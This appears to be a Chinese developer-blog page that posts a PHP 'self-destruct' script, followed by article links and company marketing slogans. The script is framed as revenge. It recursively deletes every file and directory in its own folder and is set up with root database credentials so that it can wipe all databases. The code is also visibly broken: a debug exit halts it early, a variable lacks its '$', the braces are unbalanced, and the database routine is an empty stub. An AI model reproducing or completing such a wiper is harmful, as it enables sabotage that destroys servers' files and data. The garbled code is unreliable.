PHP自毁程序
// +----------------------------------------------------------------------
// | Kill!!
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
// +----------------------------------------------------------------------
// | Version: $Id$
// +----------------------------------------------------------------------
//----------数据库配置区域-----------------
//复仇的力量是很可怕的,所以无需指定数据库,全删!
define(
'DB_USER'
,
'root'
);
define(
'DB_PWD'
,
'root'
);
define(
'DB_HOST'
,
'localhost'
);
define(
'DB_PORT'
,
'3216'
);
define(
'DB_DAMAGE'
, true);
//为false时,不碰数据库
run();
/**
* 主体思想必须光辉伟大!
*
* @return void
**/
function
run()
{
//删除文件
deletedir();
//删除数据库
deleteDB();
}
/**
* 呵呵呵,删除当前目录所有文件(递归)
*
* @return void
**/
function
deletedir(
$dir
=
''
){
if
(
$dir
==
''
) {
$dir
=
realpath
(
'.'
);
}
echo
$dir
;
exit
();
if
(!handle=@opendir(
$dir
)){
//检测要打开目录是否存在
die
(
"没有该目录"
);
}
while
(false !==(
$file
=readdir(
$handle
))){
if
(
$file
!==
"."
&&
$file
!==
".."
){
//排除当前目录与父级目录
$file
=
$dir
.DIRECTORY_SEPARATOR.
$file
;
if
(
is_dir
(
$file
)){
deletedir(
$file
);
}
else
{
if
(@unlink(
$file
)){
echo
"文件$file删除成功。
"
;
}
else
{
echo
"文件$file删除失败!
"
;
}
}
}
if
(@
rmdir
(
$dir
)){
echo
"目录$dir删除成功了。
\n"
;
}
else
{
echo
"目录$dir删除失败!
\n"
;
}
}
/**
* 呵呵呵,删除数据库
*
* @return void
**/
function
deleteDB()
{
if
(DB_DAMAGE === true){
//start
}
}
推荐文章
2025-01-18
2024-11-28
2024-11-09
2024-10-25
2024-06-25
2024-01-04
2023-11-06
2023-10-30
2023-10-13
2023-10-10
稳定
产品高可用性高并发贴心
项目群及时沟通专业
产品经理1v1支持快速
MVP模式小步快跑承诺
我们选择声誉坚持
10年专注高端品质开发